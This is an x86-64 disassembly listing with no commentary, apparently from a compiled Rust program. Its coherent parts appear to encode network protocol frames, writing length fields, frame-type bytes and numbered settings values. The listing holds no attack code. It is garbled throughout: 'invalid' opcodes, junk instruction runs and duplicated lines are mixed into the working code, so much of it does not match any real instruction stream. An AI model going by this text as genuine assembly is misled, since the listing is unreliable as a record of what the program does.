movq qword [rbx + 0x10], mm0
test byte [rax + rax], ah
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
mov word [rax + rdx], fs
add dword [rax], eax
add bl, dh
movq qword [rbx + 0x10], mm0
movdqu xmmword [rbx + 0x20], xmm1
mov qword [rbx + 0x30], rdx
mov rcx, qword [rsp + 0x58]
mov eax, dword [rsp + 0x44]
test al, al
jne 0x140078f25
jmp 0x140078f12
call fcn.14010e550
mov ecx, 8
mov edx, 0x20
add byte [rax], al
add byte [rax], al
call fcn.1401082c0
int3
int3
lea eax, [0x1400e6970]
invalid
mov qword [rsp + 0x30], rax
lea rax, str.internal_error:_entered_unreachable_code:
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
lea rcx, [rsp + 0x38]
call fcn.140108560
or byte [rax], al
or byte [rax], al
int3
push rbp
push rbx
sub rsp, 0x198
cmp dword [rcx + 0xb8], 4
jne case.default.0x1400792d3
add byte [rax], al
mov rsi, rcx
mov rax, qword [rcx + 0x108]
mov rcx, qword [rcx + 0x110]
mov r8, rcx
sub r8, rax
add dword [rax], eax
add byte [rcx - 0x77], cl
enter 0x2949, 0xffffffffffffffc0
cmp r8, qword [rsi + 0x130]
jb case.default.0x1400792d3
lea r12, [rsi + 0xb8]
lea rdi, [rsi + 0x100]
add byte [rcx], al
add byte [rax], al
cmpsb byte [rsi], byte [rdi]
mov eax, 0x48000000
lea edi, [rsi + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
lea r13, [rsi + 0x110]
mov qword [rsp + 0x108], 2
mov dword [rsp + 0x108], 2
mov dword [rsp + 0x108], 2
mov qword [rsp + 0x128], 0
movzx r9d, byte [rdx]
movzx ecx, byte [rdx]
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx ecx, byte [rdx]
invalid
invalid
invalid
invalid
movzx ecx, byte [rdx]
lea r10, [0x14017862c]
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
movups xmm0, xmmword [rdx + 8]
movups xmm1, xmmword [rdx + 0x18]
movups xmm2, xmmword [rdx + 0x28]
movups xmm3, xmmword [rdx + 0x38]
movaps xmmword [rsp + 0x90], xmm0
nop
add byte [rax], al
add byte [rax - 0x75], cl
push rdx
mov qword [rsp + 0xd0], rdx
nop
add byte [rax], al
add byte [rax - 0x75], cl
push rdx
mov qword [rsp + 0xd0], rdx
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xb0], edx
movaps xmmword [rsp + 0xa0], xmm1
mov r15, qword [rsp + 0x90]
mov edi, dword [rsp + 0x90]
mov edi, dword [rsp + 0x90]
cmp r15, 2
mov qword [rsp + 0xd8], r13
je 0x14007a06b
cmp r15d, 1
jne 0x14007a070
xor r13d, r13d
sub rdx, qword [rsp + 0xa8]
cmovae r13, rdx
jmp 0x14007a078
movzx ebp, byte [rdx + 1]
mov rbx, qword [rdx + 2]
cmp r8, 2
ja 0x14007937b
mov edx, 3
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
invalid
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov rdx, qword [rdi]
mov byte [rdx + rax + 2], 8
mov word [rdx + rax], 0
add rax, 3
rol byte [rbx], 0x48
mov dword [rsp + 0x20], eax
rol byte [rbx], 0x48
mov dword [rsp + 0x20], eax
cmp rax, rcx
ja 0x14007accf
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x1400793c9
mov edx, 1
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 6
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007accf
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x14007940f
invalid
xchg byte [rax], cl
add dword [rax], eax
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax + 0x39], cl
sal dword [rbp + 0x1b], 0xba
sbb edi, dword [rdx + 1]
sbb edi, dword [rdx + 1]
mov edx, 1
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], bpl
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007accf
test al, 0x18
add byte [rax], al
test al, 0x18
add byte [rax], al
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
retf 0x2948
add byte [rax], al
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x14007945c
mov edx, 4
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
add byte [rax], al
add byte [rax], al
mov rdx, qword [rdi]
mov dword [rdx + rax], 0
add byte [rax], al
add byte [rax - 0x7d], cl
rol byte [rax + rcx*2], 0x89
and al, 0x20
add byte [rax], al
add byte [rax - 0x7d], cl
rol byte [rax + rcx*2], 0x89
and al, 0x20
cmp rax, rcx
ja 0x14007accf
xchg dword [rdi + 0x18], edx
add byte [rax], al
xchg dword [rdi + 0x18], edx
add byte [rax], al
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 7
ja 0x1400794ad
mov edx, 8
or byte [rax], al
add byte [rax], al
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov qword [rdx + rax], rbx
add rax, 8
or byte [rax - 0x77], cl
and al, 0x20
or byte [rax - 0x77], cl
and al, 0x20
cmp rax, rcx
jbe 0x140079f95
jmp 0x14007accf
lea rax, [rdx + 8]
mov r15d, dword [rdx + 0x120]
and byte [rcx], al
add byte [rax], al
and byte [rcx], al
add byte [rax], al
movzx ebp, byte [rdx + 0x124]
mov ecx, dword [rsi + 0x138]
add rcx, 9
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], rcx
lea rcx, [rsp + 0x20]
mov rdx, rax
mov r8, rsi
call fcn.140027830
mov rdi, qword [rsi + 0x108]
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x45]
and al, 0x45
and al, 0x45
lea rbx, [rsp + 0xe0]
mov r8d, 3
mov rcx, rbx
call fcn.14002b230
mov byte [rsp + 0x40], 1
lea rdx, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r8d, 1
mov rcx, rbx
call fcn.14002b230
mov byte [rsp + 0x40], bpl
lea rdx, [rsp + 0x40]
mov r8d, 1
mov rcx, rbx
call fcn.14002b230
mov eax, r15d
bswap eax
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
lea rdx, [rsp + 0x40]
mov r8d, 4
mov rcx, rbx
call fcn.14002b230
mov dl, 0x1c
sti
dec dword [rax - 0x75]
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbp*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
push 0x5c8b4808
and al, 0x30
mov dl, 0x1c
sti
dec dword [rax - 0x75]
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbp*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
push 0x5c8b4808
and al, 0x30
mov r13, rbp
not r13
cmp r13, rcx
cmovae r13, rcx
cmp rbx, r13
jbe 0x140079fb3
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rbp - 0x7b], cl
in eax, dx
test r13, r13
mov dword [rsp + 0xd8], r15d
je 0x14007a348
invalid
invalid
add byte [rax], al
mov cl, byte [0xcd4f95c0]
push rsp
and al, 0x38
lea rdx, [rsp + 0x38]
mov rax, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
lea rcx, [rsp + 0x40]
mov r9, rbx
call qword [rax]
sub qword [rsp + 0x30], r13
and al, 0x30
and al, 0x30
add qword [rsp + 0x28], r13
mov qword [rsp + 0x50], r13
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x90], xmm0
and al, 0x90
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x50
and al, 0x90
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x50
mov qword [rsp + 0xa0], rax
add byte [rax], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa8], rax
jmp 0x14007a36e
mov qword [rsp + 0xd8], r13
mov ebp, dword [rdx + 4]
mov r9d, dword [rdx + 8]
mov dword [rsp + 0x130], r9d
mov ebx, dword [rdx + 0xc]
mov r9d, dword [rdx + 0x10]
mov dword [rsp + 0x138], r9d
mov r13d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x18]
mov dword [rsp + 0x140], r9d
mov r12d, dword [rdx + 0x1c]
mov r9d, dword [rdx + 0x20]
mov dword [rsp + 0x148], r9d
mov r15d, dword [rdx + 0x24]
mov r14d, dword [rdx + 0x2c]
mov r11d, dword [rdx + 0x34]
xor r9d, r9d
test ebp, ebp
mov r10d, 6
cmove r10, r9
lea r9, [r10 + 6]
test ebx, ebx
cmove r9, r10
lea r10, [r9 + 6]
test r13d, r13d
cmove r10, r9
lea r9, [r10 + 6]
test r12d, r12d
cmove r9, r10
lea r10, [r9 + 6]
invalid
mov dword [rsp + 0x14c], r15d
test r15d, r15d
cmove r10, r9
lea r9, [r10 + 6]
mov dword [rsp + 0x150], r14d
test r14d, r14d
cmove r9, r10
lea r15, [r9 + 6]
mov dword [rsp + 0x154], r11d
test r11d, r11d
cmove r15, r9
mov r9d, dword [rdx + 0x28]
mov dword [rsp + 0x134], r9d
movzx r14d, byte [rdx + 0x3c]
mov r9d, dword [rdx + 0x30]
mov dword [rsp + 0x13c], r9d
mov edx, dword [rdx + 0x38]
mov dword [rsp + 0x144], edx
mov qword [rsp + 0xe0], rdi
bswap r15
cmp r8, 2
ja 0x14007971f
invalid
mov edx, 3
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
shr r15, 0x28
mov word [rdx + rax], r15w
shr r15d, 0x10
mov byte [rdx + rax + 2], r15b
add rax, 3
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007ad68
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x140079774
xchg byte [rax], cl
add dword [rax], eax
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax + 0x39], cl
sal dword [rbp + 0x1b], 0xba
add dword [rax], eax
mov edx, 1
add byte [rax], al
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
adc byte [rcx], al
add byte [rax], al
adc byte [rcx], al
add byte [rax], al
mov rdx, qword [rdi]
mov byte [rdx + rax], 4
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007ad68
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x1400797ba
mov edx, 1
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], r14b
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007ad68
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
cli
add esi, dword [rdi + 0x1b]
cli
add esi, dword [rdi + 0x1b]
mov edx, 4
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], 0
add rax, 4
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007ad68
mov qword [rsi + 0x108], rax
test ebp, ebp
je 0x140079845
lea rcx, [rsp + 0xe0]
xor edx, edx
mov r8d, dword [rsp + 0x130]
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rcx], dh
rol byte [rbx + rcx*4 - 0x7c], cl
and al, 0x30
add dword [rax], eax
add al, ch
call fcn.14002c600
test ebx, ebx
call fcn.14002c600
test ebx, ebx
je 0x140079863
lea rcx, [rsp + 0xe0]
mov edx, 1
add byte [rdx + 1], bh
mov r8d, dword [rsp + 0x138]
call fcn.14002c600
test r13d, r13d
je 0x140079882
lea rcx, [rsp + 0xe0]
mov edx, 2
mov r8d, dword [rsp + 0x140]
call fcn.14002c600
sti
invalid
sti
inc dword [rbp - 0x7b]
in al, 0x74
sbb cl, byte [rax - 0x73]
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdx + 3], bh
add eax, dword [rax]
add byte [rax], al
test r12d, r12d
je 0x1400798a1
lea rcx, [rsp + 0xe0]
mov edx, 3
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
mov r8d, dword [rsp + 0x148]
call fcn.14002c600
cmp dword [rsp + 0x14c], 0
je 0x1400798c5
lea rcx, [rsp + 0xe0]
mov edx, 4
mov r8d, dword [rsp + 0x134]
test byte [rsp + rsi], ah
add dword [rax], eax
invalid
test byte [rsp + rsi], ah
add dword [rax], eax
add al, ch
call fcn.14002c600
cmp dword [rsp + 0x150], 0
call fcn.14002c600
cmp dword [rsp + 0x150], 0
je 0x1400798e9
sbb cl, byte [rax - 0x73]
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdx + 5], bh
lea rcx, [rsp + 0xe0]
lea ecx, [rsp + 0xe0]
mov edx, 5
mov r8d, dword [rsp + 0x13c]
add byte [rax], al
call fcn.14002c600
cmp dword [rsp + 0x154], 0
je 0x14007a67b
add byte [rdi], cl
test byte [rbp + rcx - 0x72b80000], al
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdx + 6], bh
lea rcx, [rsp + 0xe0]
mov edx, 6
mov r8d, dword [rsp + 0x144]
call fcn.14002c600
mov r8, qword [rsp + 0x108]
and al, 8
add dword [rax], eax
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test dword [rdx + 0xd], ebp
add byte [rax], al
and al, 8
add dword [rax], eax
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test dword [rdx + 0xd], ebp
add byte [rax], al
jmp 0x14007a72d
lea rax, [rdx + 8]
mov r15d, dword [rdx + 0x118]
mov r14d, dword [rdx + 0x11c]
movzx ebp, byte [rdx + 0x120]
mov dh, 0xaa
and byte [rcx], al
add byte [rax], al
mov dh, 0xaa
and byte [rcx], al
add byte [rax], al
mov ecx, dword [rsi + 0x138]
add rcx, 9
mov qword [rsp + 0xe0], rdi
loopne 0x140079951
add byte [rax], al
invalid
loopne 0x140079951
add byte [rax], al
mov qword [rsp + 0xe8], rcx
lea rcx, [rsp + 0x20]
add byte [rax - 0x73], cl
and al, 0x20
mov rdx, rax
mov r8, rsi
call fcn.140027830
mov rdi, qword [rsi + 0x108]
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x45]
lea rbx, [rsp + 0xe0]
mov r8d, 3
pushfq
and al, 0xe0
add byte [rax], al
add byte [rcx - 0x48], al
add eax, dword [rax]
add byte [rax], al
mov rcx, rbx
call fcn.14002b230
mov byte [rsp + 0x40], 5
lea rdx, [rsp + 0x40]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov rcx, rbx
call fcn.14002b230
mov byte [rsp + 0x40], bpl
lea rdx, [rsp + 0x40]
mov r8d, 1
mov rcx, rbx
call fcn.14002b230
push 0x18
sti
inc dword [rcx + rcx*4 - 8]
push 0x18
sti
sbb bl, bh
inc dword [rcx + rcx*4 - 8]
bswap eax
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
mov r8d, 4
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
call fcn.14002b230
mov rax, qword [rsp + 0xe0]
mov rbp, qword [rax + 8]
bswap r14d
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x40], esi
lea rdx, [rsp + 0x40]
mov r8d, 4
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
call fcn.14002b230
mov rbx, qword [rsp + 0x30]
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xe8]
mov r13, qword [rax + 8]
not r13
not ebp
not ebp
cmp r13, rcx
cmovae r13, rcx
cmp rbx, r13
jbe 0x140079fd0
invalid
add byte [rax], al
add eax, 0x854d0000
in eax, dx
add byte [rax], al
test r13, r13
mov dword [rsp + 0xd8], r15d
je 0x14007a4df
cdq
or al, byte [rax]
invalid
cdq
or al, byte [rax]
add byte [rax - 0x73], cl
push rsp
and al, 0x38
lea rdx, [rsp + 0x38]
mov rax, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
lea rcx, [rsp + 0x40]
mov r9, rbx
call qword [rax]
sub qword [rsp + 0x30], r13
and al, 0x30
and al, 0x30
add qword [rsp + 0x28], r13
mov qword [rsp + 0x50], r13
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xa0], rax
and al, 0xa0
add byte [rax], al
add byte [rax], al
and al, 0xa0
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x58]
add byte [rax], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa8], rax
jmp 0x14007a505
mov ebp, dword [rdx + 4]
mov ebx, dword [rdx + 8]
cmp r8, 2
ja 0x140079ac1
mov edx, 3
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax + 2], 4
mov word [rdx + rax], 0
add rax, 3
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007accf
invalid
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x140079b0f
xchg byte [rax], cl
add dword [rax], eax
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax + 0x39], cl
sal dword [rbp + 0x1b], 0xba
add dword [rax], eax
add byte [rax], al
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov byte [rdx + rax], 3
jmp 0x140079ea0
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
movups xmm0, xmmword [rdx + 8]
movups xmm1, xmmword [rdx + 0x18]
movaps xmmword [rsp + 0xa0], xmm1
mov rdx, qword [rdx + 0x28]
mov qword [rsp + 0xb0], rdx
movaps xmmword [rsp + 0x90], xmm0
mov rbx, qword [rsp + 0xa0]
lea r14, [rbx + 8]
bswap r14
cmp r8, 2
ja 0x140079b6f
mov edx, 3
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
shr r14, 0x28
mov word [rdx + rax], r14w
shr r14d, 0x10
mov byte [rdx + rax + 2], r14b
add rax, 3
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007ad20
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x140079bc7
mov edx, 1
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 7
inc rax
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007ad20
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x140079c10
mov edx, 1
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007ad20
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x140079c60
invalid
sbb edi, dword [rdx + 4]
mov edx, 4
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
invalid
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov rdx, qword [rdi]
mov dword [rdx + rax], 0
add rax, 4
rol byte [rax + rcx*2], 0x89
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffa1
adc byte [rax], al
invalid
rol byte [rax + rcx*2], 0x89
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffa1
adc byte [rax], al
add byte [rax - 0x77], cl
xchg byte [rax], cl
add dword [rax], eax
add byte [rbx + 0xb024ac], cl
add byte [rax], al
mov qword [rsi + 0x108], rax
mov ebp, dword [rsp + 0xb0]
bswap ebp
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x140079cbd
mov edx, 4
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], ebp
add rax, 4
mov qword [rsp + 0xe0], rax
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x48
adc byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0x48
adc byte [rax], al
add byte [rax - 0x77], cl
xchg byte [rax], cl
add dword [rax], eax
add byte [rbx + 0xb424ac], cl
mov qword [rsi + 0x108], rax
mov ebp, dword [rsp + 0xb4]
add byte [rax], al
add byte [rax], al
bswap ebp
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x140079d16
mov edx, 4
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], ebp
add rax, 4
mov qword [rsp + 0xe0], rax
cmp rax, rcx
ja 0x14007ad20
xchg edi, ebp
sldt word [rax]
xchg edi, ebp
sldt word [rax]
mov qword [rsi + 0x108], rax
test rbx, rbx
je 0x140079fed
lea rdx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x98
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x98
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x40
mov r9, rbx
call qword [rax]
mov qword [rsp + 0x50], rbx
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0xe0], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xf0], rax
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x58
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x58
mov qword [rsp + 0xf8], rax
mov r14, qword [rsp + 0xf0]
mov rbx, qword [rsp + 0xe8]
test r14, r14
je 0x14007a018
add byte [rax], al
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0xf0
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0xe8
add byte [rax], al
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
jo 0x140079da8
add byte [rax], al
mov rcx, qword [rsi + 0x108]
mov rax, qword [rsi + 0x110]
sub rax, rcx
cmp rax, r14
jae 0x140079dd0
mov rcx, rdi
mov rdx, r14
call fcn.1400126f0
mov rcx, qword [rsi + 0x108]
or byte [rcx], al
add byte [rax], al
or byte [rcx], al
add byte [rax], al
add rcx, qword [rsi + 0x100]
mov rdx, rbx
mov r8, r14
call fcn.140106530
mov rax, qword [rsi + 0x108]
add rax, r14
mov qword [rsp + 0x158], rax
cmp rax, qword [rsi + 0x110]
ja 0x14007ae32
mov qword [rsi + 0x108], rax
mov qword [rsp + 0xf0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add rbx, r14
mov qword [rsp + 0xe8], rbx
jmp 0x14007a018
mov ebp, dword [rdx + 4]
mov ebx, dword [rdx + 8]
cmp r8, 2
ja 0x140079e4b
mov edx, 3
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax + 2], 4
mov word [rdx + rax], 0
add rax, 3
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007accf
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x140079e99
mov edx, 1
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 8
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007accf
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x140079edf
mov edx, 1
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007accf
mov qword [rsi + 0x108], rax
bswap ebp
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x140079f2e
mov edx, 4
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], ebp
add rax, 4
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007accf
mov qword [rsi + 0x108], rax
bswap ebx
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
ja 0x140079f7d
mov edx, 4
mov rcx, rdi
call fcn.1400126f0
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], ebx
add rax, 4
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007accf
mov qword [rsi + 0x108], rax
mov r8, qword [rsp + 0x108]
cmp r8, 2
jne 0x14007a68d
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0xe0]
mov r8, rbx
call fcn.14002b230
xor r14d, r14d
jmp 0x14007a3cb
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0xe0]
mov r8, rbx
call fcn.14002b230
xor r14d, r14d
jmp 0x14007a562
mov qword [rsp + 0xe8], 1
xorps xmm0, xmm0
movaps xmmword [rsp + 0xf0], xmm0
lea rax, [0x14013e948]
mov qword [rsp + 0xe0], rax
mov ebx, 1
mov rax, qword [rsp + 0xe0]
lea rcx, [rsp + 0xf8]
mov rdx, rbx
xor r8d, r8d
call qword [rax + 0x10]
lea rcx, [rsp + 0xa8]
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rax + 0x10]
mov r8, qword [rsp + 0x108]
cmp r8, 2
jne 0x14007a68d
jmp 0x14007a72d
xor r13d, r13d
jmp 0x14007a078
mov qword [rsp + 0x98], 1
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa0], xmm0
lea rax, [0x140114ae8]
mov qword [rsp + 0x90], rax
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
lea rcx, [rsp + 0xe0]
mov rdx, r14
mov r8, r15
call fcn.14002b230
mov rax, qword [rsp + 0x90]
lea rcx, [rsp + 0xa8]
mov rdx, r14
mov r8, r15
call qword [rax + 0x10]
mov r14, qword [rsp + 0x20]
movups xmm0, xmmword [rsp + 0x28]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x50], rax
mov r15d, dword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rcx + 8]
mov r8, rdx
sub r8, rbp
bswap r8
mov rax, r8
shl rax, 0x18
jne 0x14007ade1
mov qword [rsp + 0x98], 1
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa0], xmm0
lea rax, [0x140114ae8]
mov qword [rsp + 0x90], rax
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
lea rcx, [rsp + 0xe0]
mov rdx, r14
mov r8, r15
call fcn.14002b230
mov rax, qword [rsp + 0x90]
lea rcx, [rsp + 0xa8]
mov rdx, r14
mov r8, r15
call qword [rax + 0x10]
mov r14, qword [rsp + 0x20]
